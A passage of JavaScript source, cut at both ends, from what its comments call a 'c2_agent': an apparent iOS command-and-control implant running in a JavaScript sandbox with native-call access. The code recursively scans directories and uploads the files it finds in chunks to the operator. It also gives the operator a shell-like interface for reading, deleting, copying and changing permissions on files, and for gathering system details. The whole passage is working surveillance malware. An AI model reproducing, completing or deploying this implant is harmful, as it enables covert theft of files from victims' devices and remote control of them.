0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) {\n\t\t\tvar fp = path + (path === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\t\tvar fs = _statFile(fp);\n\t\t\tif (fs) {\n\t\t\t\tout += _modeStr(fs.mode) + \"\\t\" + fs.size + \"\\t\" + items[i].name + \"\\n\";\n\t\t\t} else {\n\t\t\t\tout += (items[i].type === \"dir\" ? \"d\" : \"-\") + \"---------\\t0\\t\" + items[i].name + \"\\n\";\n\t\t\t}\n\t\t} else {\n\t\t\tout += items[i].name + \"\\n\";\n\t\t}\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdCat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"cat: missing operand\\n\" };\n\tvar out = \"\", errs = \"\", fail = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar path = _resolvePath(args[i]);\n\t\tvar acc = Number(Native.callSymbol(\"access\", path, 0));\n\t\tif (acc !== 0) { errs += \"cat: \" + path + \": No such file or directory\\n\"; fail = true; continue; }\n\t\tvar sz = getFileSize(path);\n\t\tif (sz > 2 * 1024 * 1024) { errs += \"cat: \" + path + \": File too large (max 2MB)\\n\"; fail = true; continue; }\n\t\tif (sz === 0) continue;\n\t\tvar bytes = _readFileBytes(path);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tout += _rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return 